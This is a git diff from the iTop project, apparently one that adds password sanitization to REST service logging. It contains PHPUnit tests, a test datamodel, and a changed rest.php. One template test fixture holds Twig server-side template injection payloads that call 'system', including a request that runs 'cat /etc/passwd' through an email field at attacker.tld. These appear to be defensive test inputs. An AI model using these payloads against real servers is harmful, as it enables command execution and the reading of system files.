<presentation/>
|
||||
<methods/>
|
||||
<fields>
|
||||
<field id="contact_list" xsi:type="AttributeLinkedSetIndirect">
|
||||
<linked_class>lnkContactTestToServer</linked_class>
|
||||
<ext_key_to_me>test_server_id</ext_key_to_me>
|
||||
<ext_key_to_remote>contact_test_id</ext_key_to_remote>
|
||||
<is_null_allowed>true</is_null_allowed>
|
||||
</field>
|
||||
<field id="password_list" xsi:type="AttributeLinkedSet">
|
||||
<linked_class>PasswordTest</linked_class>
|
||||
<ext_key_to_me>server_test_id</ext_key_to_me>
|
||||
<is_null_allowed>true</is_null_allowed>
|
||||
</field>
|
||||
<field id="name" xsi:type="AttributeString">
|
||||
<sql>name</sql>
|
||||
<default_value/>
|
||||
<is_null_allowed>false</is_null_allowed>
|
||||
</field>
|
||||
</fields>
|
||||
</class>
|
||||
|
||||
|
||||
<class id="ContactTest" _delta="define">
|
||||
<parent>cmdbAbstractObject</parent>
|
||||
<properties>
|
||||
<category>bizmodel</category>
|
||||
<abstract>false</abstract>
|
||||
<key_type>autoincrement</key_type>
|
||||
<db_table>contact_test</db_table>
|
||||
<db_key_field>id</db_key_field>
|
||||
</properties>
|
||||
<presentation/>
|
||||
<methods/>
|
||||
<fields>
|
||||
<field id="password" xsi:type="AttributeEncryptedString">
|
||||
<sql>password</sql>
|
||||
</field>
|
||||
<field id="server_test_list" xsi:type="AttributeLinkedSetIndirect">
|
||||
<linked_class>lnkContactTestToServer</linked_class>
|
||||
<ext_key_to_me>contact_test_id</ext_key_to_me>
|
||||
<ext_key_to_remote>test_server_id</ext_key_to_remote>
|
||||
<is_null_allowed>true</is_null_allowed>
|
||||
</field>
|
||||
</fields>
|
||||
</class>
|
||||
|
||||
|
||||
<class id="lnkContactTestToServer" _delta="define">
|
||||
<parent>cmdbAbstractObject</parent>
|
||||
<properties>
|
||||
<category>bizmodel</category>
|
||||
<abstract>false</abstract>
|
||||
<key_type>autoincrement</key_type>
|
||||
<db_table>lnk_contact_server_test</db_table>
|
||||
<db_key_field>id</db_key_field>
|
||||
</properties>
|
||||
<presentation/>
|
||||
<methods/>
|
||||
<fields>
|
||||
<field id="contact_test_password" xsi:type="AttributeExternalField" _delta="define">
|
||||
<extkey_attcode>contact_test_id</extkey_attcode>
|
||||
<target_attcode>password</target_attcode>
|
||||
</field>
|
||||
<field id="test_server_id" xsi:type="AttributeExternalKey" _delta="define">
|
||||
<target_class>TestServer</target_class>
|
||||
<on_target_delete>DEL_MANUAL</on_target_delete>
|
||||
<sql>test_server</sql>
|
||||
<is_null_allowed>false</is_null_allowed>
|
||||
|
||||
</field>
|
||||
<field id="contact_test_id" xsi:type="AttributeExternalKey" _delta="define">
|
||||
<target_class>ContactTest</target_class>
|
||||
<on_target_delete>DEL_MANUAL</on_target_delete>
|
||||
<sql>contact_test</sql>
|
||||
<is_null_allowed>false</is_null_allowed>
|
||||
|
||||
</field>
|
||||
</fields>
|
||||
</class>
|
||||
<class id="PasswordTest" _delta="define">
|
||||
<parent>cmdbAbstractObject</parent>
|
||||
<properties>
|
||||
<category>bizmodel</category>
|
||||
<abstract>false</abstract>
|
||||
<key_type>autoincrement</key_type>
|
||||
<db_table>password_test</db_table>
|
||||
<db_key_field>id</db_key_field>
|
||||
</properties>
|
||||
<presentation/>
|
||||
<methods/>
|
||||
<fields>
|
||||
<field id="server_test_id" xsi:type="AttributeExternalKey" _delta="define">
|
||||
<target_class>TestServer</target_class>
|
||||
<sql>server_test_id</sql>
|
||||
<on_target_delete>DEL_MANUAL</on_target_delete>
|
||||
</field>
|
||||
<field id="password" xsi:type="AttributeEncryptedString" _delta="define">
|
||||
<sql>password</sql>
|
||||
</field>
|
||||
</fields>
|
||||
</class>
|
||||
</classes>
|
||||
</itop_design>
|
||||
@@ -45,4 +45,43 @@ class EMailTest extends ItopTestCase {
|
||||
$oConfig->Set('email_transport', $sCurrentEmailTransport);
|
||||
$oConfig->Set('email_asynchronous', $sCurrentEmailAsync);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return void
|
||||
* @throws \ConfigException
|
||||
* @throws \CoreException
|
||||
* @covers Email::SetBody()
|
||||
* @covers Email::Send()
|
||||
*/
|
||||
public function testCheckPartsHeadersOnSendEmailWithAttachment(): void
|
||||
{
|
||||
$oConfig = utils::GetConfig();
|
||||
$sCurrentEmailTransport = $oConfig->Get('email_transport');
|
||||
$sCurrentEmailAsync = $oConfig->Get('email_asynchronous');
|
||||
|
||||
// Set our email transport to file, so we can read it after
|
||||
$oConfig->Set('email_transport', 'LogFile');
|
||||
$oConfig->Set('email_asynchronous', false);
|
||||
|
||||
$oEmail = new Email();
|
||||
$oEmail->SetRecipientTO('email@email.com');
|
||||
$oEmail->SetRecipientFrom('email2@email2.com');
|
||||
$oEmail->SetSubject('dummy subject');
|
||||
$oEmail->SetBody('dummy body', 'text/plain');
|
||||
$oEmail->AddAttachment('Dummy attachment', 'attachment.txt', 'text/plain');
|
||||
|
||||
// Send the mail and check if there's any issue
|
||||
$aIssues = [];
|
||||
$oEmail->Send($aIssues);
|
||||
$this->assertEmpty($aIssues);
|
||||
|
||||
// Check if our charset is correctly set
|
||||
// We know this file may be used by other future test, but as we can't configure output filename, it is what it is
|
||||
$sEmailContent = file_get_contents(APPROOT.'log/mail.log');
|
||||
$this->assertStringContainsString('Content-Type: text/plain; charset=UTF-8', $sEmailContent);
|
||||
|
||||
// Set our previous email transport value back, so it doesn't affect other tests
|
||||
$oConfig->Set('email_transport', $sCurrentEmailTransport);
|
||||
$oConfig->Set('email_asynchronous', $sCurrentEmailAsync);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
<?php
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Combodo\iTop\Test\UnitTest\Core;
|
||||
|
||||
use ArchivedObjectException;
|
||||
use AttributeEncryptedString;
|
||||
use Combodo\iTop\Test\UnitTest\ItopCustomDatamodelTestCase;
|
||||
use CoreException;
|
||||
use CoreUnexpectedValue;
|
||||
use Exception;
|
||||
use MetaModel;
|
||||
use ormLinkSet;
|
||||
use PasswordTest;
|
||||
use RestResultWithObjects;
|
||||
|
||||
/**
|
||||
* @runTestsInSeparateProcesses
|
||||
* @preserveGlobalState disabled
|
||||
* @backupGlobals disabled
|
||||
*/
|
||||
class RestServicesSanitizeOutputTest extends ItopCustomDatamodelTestCase
|
||||
{
|
||||
private const SIMPLE_PASSWORD = '123456';
|
||||
|
||||
/**
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
// Workaround to cope with inconsistent settings in itop-config files from the CI
|
||||
AttributeEncryptedString::$sKey = '6eb9d9afa3ee0fbcebe622a33bf57aaeafb7c37998fd24c403c2522c2d60117f';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return void
|
||||
* @throws CoreException
|
||||
*/
|
||||
public function testSanitizeAttributeOnRequestedObject()
|
||||
{
|
||||
$oContactTest = MetaModel::NewObject('ContactTest', [
|
||||
'password' => self::SIMPLE_PASSWORD
|
||||
]
|
||||
);
|
||||
$oRestResultWithObject = new RestResultWithObjects();
|
||||
$oRestResultWithObject->AddObject(0, 'ok', $oContactTest, ['ContactTest' => ['password']]);
|
||||
$oRestResultWithObject->SanitizeContent();
|
||||
static::assertJsonStringEqualsJsonString(
|
||||
'{"objects":{"ContactTest::-1":{"code":0,"message":"ok","class":"ContactTest","key":-1,"fields":{"password":"*****"}}},"code":0,"message":null}',
|
||||
json_encode($oRestResultWithObject));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return void
|
||||
* @throws Exception
|
||||
*/
|
||||
public function testSanitizeAttributeExternalFieldOnLink()
|
||||
{
|
||||
$oContactTest = $this->createObject('ContactTest', [
|
||||
'password' => self::SIMPLE_PASSWORD
|
||||
]
|
||||
);
|
||||
|
||||
$oTestServer = $this->createObject('TestServer', [
|
||||
'name' => 'test_server',
|
||||
]);
|
||||
|
||||
|
||||
// create lnkContactTestToServer
|
||||
$oLnkContactTestToServer = $this->createObject('lnkContactTestToServer', [
|
||||
'contact_test_id' => $oContactTest->GetKey(),
|
||||
'test_server_id' => $oTestServer->GetKey()
|
||||
]);
|
||||
|
||||
$oRestResultWithObject = new RestResultWithObjects();
|
||||
$oRestResultWithObject->AddObject(0, 'ok', $oLnkContactTestToServer,
|
||||
['lnkContactTestToServer' => ['contact_test_password']]);
|
||||
|
||||
$oRestResultWithObject->SanitizeContent();
|
||||
|
||||
static::assertStringContainsString(
|
||||
'*****',
|
||||
json_encode($oRestResultWithObject));
|
||||
|
||||
static::assertStringNotContainsString(
|
||||
self::SIMPLE_PASSWORD,
|
||||
json_encode($oRestResultWithObject));
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws Exception
|
||||
*/
|
||||
public function testSanitizeAttributeOnObjectRelatedThroughNNRelation()
|
||||
{
|
||||
$oContactTest = $this->createObject('ContactTest', [
|
||||
'password' => self::SIMPLE_PASSWORD
|
||||
]);
|
||||
|
||||
$oTestServer = $this->createObject('TestServer', [
|
||||
'name' => 'test_server',
|
||||
]);
|
||||
|
||||
// create lnkContactTestToServer
|
||||
$this->createObject('lnkContactTestToServer', [
|
||||
'contact_test_id' => $oContactTest->GetKey(),
|
||||
'test_server_id' => $oTestServer->GetKey()
|
||||
]);
|
||||
|
||||
$oTestServer->Reload();
|
||||
|
||||
$oRestResultWithObject = new RestResultWithObjects();
|
||||
$oRestResultWithObject->AddObject(0, 'ok', $oTestServer,
|
||||
['TestServer' => ['contact_list']]);
|
||||
|
||||
$oRestResultWithObject->SanitizeContent();
|
||||
static::assertStringContainsString(
|
||||
'*****',
|
||||
json_encode($oRestResultWithObject));
|
||||
|
||||
static::assertStringNotContainsString(
|
||||
self::SIMPLE_PASSWORD,
|
||||
json_encode($oRestResultWithObject));
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @throws CoreException
|
||||
* @throws CoreUnexpectedValue
|
||||
* @throws ArchivedObjectException
|
||||
* @throws Exception
|
||||
*/
|
||||
public function testSanitizeOnObjectRelatedThrough1NRelation()
|
||||
{
|
||||
$oTestServer = $this->createObject('TestServer', [
|
||||
'name' => 'my_server',
|
||||
]);
|
||||
|
||||
$oPassword = new PasswordTest();
|
||||
$oPassword->Set('password', self::SIMPLE_PASSWORD);
|
||||
$oPassword->Set('server_test_id', $oTestServer->GetKey());
|
||||
|
||||
/** @var ormLinkSet $oContactList */
|
||||
$oContactList = $oTestServer->Get('password_list');
|
||||
$oContactList->AddItem($oPassword);
|
||||
$oTestServer->Set('password_list', $oContactList);
|
||||
|
||||
$oRestResultWithObject = new RestResultWithObjects();
|
||||
$oRestResultWithObject->AddObject(0, 'ok', $oTestServer, ['TestServer' => ['id', 'password_list']]);
|
||||
$oRestResultWithObject->SanitizeContent();
|
||||
|
||||
static::assertStringContainsString(
|
||||
'*****',
|
||||
json_encode($oRestResultWithObject));
|
||||
|
||||
static::assertStringNotContainsString(
|
||||
self::SIMPLE_PASSWORD,
|
||||
json_encode($oRestResultWithObject));
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string Abs path to the XML delta to use for the tests of that class
|
||||
*/
|
||||
public function GetDatamodelDeltaAbsPath(): string
|
||||
{
|
||||
return __DIR__.'/Delta/delta_test_sanitize_output.xml';
|
||||
}
|
||||
}
|
||||
125
tests/php-unit-tests/unitary-tests/core/RestServicesTest.php
Normal file
125
tests/php-unit-tests/unitary-tests/core/RestServicesTest.php
Normal file
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Combodo\iTop\Test\UnitTest\Core;
|
||||
|
||||
use Combodo\iTop\Test\UnitTest\ItopDataTestCase;
|
||||
use CoreException;
|
||||
use CoreServices;
|
||||
use CoreUnexpectedValue;
|
||||
use RestResultWithObjects;
|
||||
use UserLocal;
|
||||
|
||||
/**
|
||||
* @runTestsInSeparateProcesses
|
||||
* @preserveGlobalState disabled
|
||||
* @backupGlobals disabled
|
||||
*/
|
||||
class RestServicesTest extends ItopDataTestCase
|
||||
{
|
||||
/**
|
||||
* @return void
|
||||
* @dataProvider providerTestSanitizeJsonInput
|
||||
*/
|
||||
public function testSanitizeJsonInput($sJsonData, $sExpectedJsonDataSanitized)
|
||||
{
|
||||
$oRS = new CoreServices();
|
||||
$sOutputJson = $oRS->SanitizeJsonInput($sJsonData);
|
||||
static::assertJsonStringEqualsJsonString($sExpectedJsonDataSanitized, $sOutputJson);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array[]
|
||||
*/
|
||||
public function providerTestSanitizeJsonInput(): array
|
||||
{
|
||||
return [
|
||||
'core/check_credentials' => [
|
||||
'{"operation": "core/check_credentials", "user": "admin", "password": "admin"}',
|
||||
'{
|
||||
"operation": "core/check_credentials",
|
||||
"user": "admin",
|
||||
"password": "*****"
|
||||
}'
|
||||
],
|
||||
'core/update' => [
|
||||
'{"operation": "core/update", "comment": "Update user", "class": "UserLocal", "key": {"id":1}, "output_fields": "first_name, password", "fields": {"password" : "123456"}}',
|
||||
'{
|
||||
"operation": "core/update",
|
||||
"comment": "Update user",
|
||||
"class": "UserLocal",
|
||||
"key": {
|
||||
"id": 1
|
||||
},
|
||||
"output_fields": "first_name, password",
|
||||
"fields": {
|
||||
"password": "*****"
|
||||
}
|
||||
}'
|
||||
],
|
||||
'core/create' => [
|
||||
'{"operation": "core/create", "comment": "Create user", "class": "UserLocal", "fields": {"first_name": "John", "last_name": "Doe", "email": "jd@example/com", "password" : "123456"}}',
|
||||
'{
|
||||
"operation": "core/create",
|
||||
"comment": "Create user",
|
||||
"class": "UserLocal",
|
||||
"fields": {
|
||||
"first_name": "John",
|
||||
"last_name": "Doe",
|
||||
"email": "jd@example/com",
|
||||
"password": "*****"
|
||||
}
|
||||
}'
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $sOperation
|
||||
* @param $aJsonData
|
||||
* @param $sExpectedJsonDataSanitized
|
||||
* @return void
|
||||
* @throws CoreException
|
||||
* @throws CoreUnexpectedValue
|
||||
* @dataProvider providerTestSanitizeJsonOutput
|
||||
*/
|
||||
public function testSanitizeJsonOutput($sOperation, $aJsonData, $sExpectedJsonDataSanitized)
|
||||
{
|
||||
$oUser = new UserLocal();
|
||||
$oUser->Set('password', '123456');
|
||||
$oRestResultWithObject = new RestResultWithObjects();
|
||||
$oRestResultWithObject->AddObject(0, 'ok', $oUser, ['UserLocal' => ['login', 'password']]);
|
||||
$oRestResultWithObject->SanitizeContent();
|
||||
static::assertJsonStringEqualsJsonString($sExpectedJsonDataSanitized, json_encode($oRestResultWithObject));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array[]
|
||||
*/
|
||||
public function providerTestSanitizeJsonOutput(): array
|
||||
{
|
||||
return [
|
||||
|
||||
'core/update' => [
|
||||
'core/update',
|
||||
['comment' => 'Update user', 'class' => 'UserLocal', 'key' => ['login' => 'my_example'], 'output_fields' => 'password', 'fields' => ['password' => 'opkB!req57']],
|
||||
'{"objects":{"UserLocal::-1":{"code":0,"message":"ok","class":"UserLocal","key":-1,"fields":{"login":"","password":"*****"}}},"code":0,"message":null}'
|
||||
],
|
||||
'core/create' => [
|
||||
'core/create',
|
||||
['comment' => 'Create user', 'class' => 'UserLocal', 'fields' => ['password' => 'Azertyuiiop*12', 'login' => 'toto', 'profile_list' => [1]]],
|
||||
'{"objects":{"UserLocal::-1":{"code":0,"message":"ok","class":"UserLocal","key":-1,"fields":{"login":"","password":"*****"}}},"code":0,"message":null}'
|
||||
],
|
||||
'core/get' => [
|
||||
'core/get',
|
||||
['comment' => 'Get user', 'class' => 'UserLocal', 'key' => ['login' => 'my_example'], 'output_fields' => 'first_name, password'],
|
||||
'{"objects":{"UserLocal::-1":{"code":0,"message":"ok","class":"UserLocal","key":-1,"fields":{"login":"","password":"*****"}}},"code":0,"message":null}'
|
||||
],
|
||||
'core/check_credentials' => [
|
||||
'core/check_credentials',
|
||||
['user' => 'admin', 'password' => 'admin'],
|
||||
'{"objects":{"UserLocal::-1":{"code":0,"message":"ok","class":"UserLocal","key":-1,"fields":{"login":"","password":"*****"}}},"code":0,"message":null}'
|
||||
],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -47,5 +47,8 @@
|
||||
<div>['echo',1]|sort('system')|join</div>
|
||||
{{ ['echo',1]|sort('system')|join }}
|
||||
|
||||
<div>[['id','']|sort('system')</div>
|
||||
{{['id','']|sort('system')|join}}
|
||||
|
||||
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
|
||||
email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld
|
||||
@@ -224,7 +224,11 @@ try
|
||||
/** @var iRestServiceProvider $oRS */
|
||||
$oRS = $aOpToRestService[$sOperation]['service_provider'];
|
||||
$sProvider = get_class($oRS);
|
||||
|
||||
|
||||
if ($oRS instanceof iRestInputSanitizer) {
|
||||
$sSanitizedJsonInput = $oRS->SanitizeJsonInput($sJsonString);
|
||||
}
|
||||
|
||||
CMDBObject::SetTrackOrigin('webservice-rest');
|
||||
$oResult = $oRS->ExecOperation($sVersion, $sOperation, $aJsonData);
|
||||
}
|
||||
@@ -249,6 +253,7 @@ catch(Exception $e)
|
||||
//
|
||||
$sResponse = json_encode($oResult);
|
||||
|
||||
|
||||
if ($sResponse === false)
|
||||
{
|
||||
$oJsonIssue = new RestResult();
|
||||
@@ -280,7 +285,7 @@ if (MetaModel::GetConfig()->Get('log_rest_service'))
|
||||
$oLog->SetTrim('userinfo', UserRights::GetUser());
|
||||
$oLog->Set('version', $sVersion);
|
||||
$oLog->Set('operation', $sOperation);
|
||||
$oLog->SetTrim('json_input', $sJsonString);
|
||||
$oLog->SetTrim('json_input', $sSanitizedJsonInput ?? $sJsonString);
|
||||
|
||||
$oLog->Set('provider', $sProvider);
|
||||
$sMessage = $oResult->message;
|
||||
@@ -290,7 +295,8 @@ if (MetaModel::GetConfig()->Get('log_rest_service'))
|
||||
}
|
||||
$oLog->SetTrim('message', $sMessage);
|
||||
$oLog->Set('code', $oResult->code);
|
||||
$oLog->SetTrim('json_output', $sResponse);
|
||||
$oResult->SanitizeContent();
|
||||
$oLog->SetTrim('json_output', json_encode($oResult, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
|
||||
|
||||
$oLog->DBInsertNoReload();
|
||||
}
|
||||
Reference in New Issue
Block a user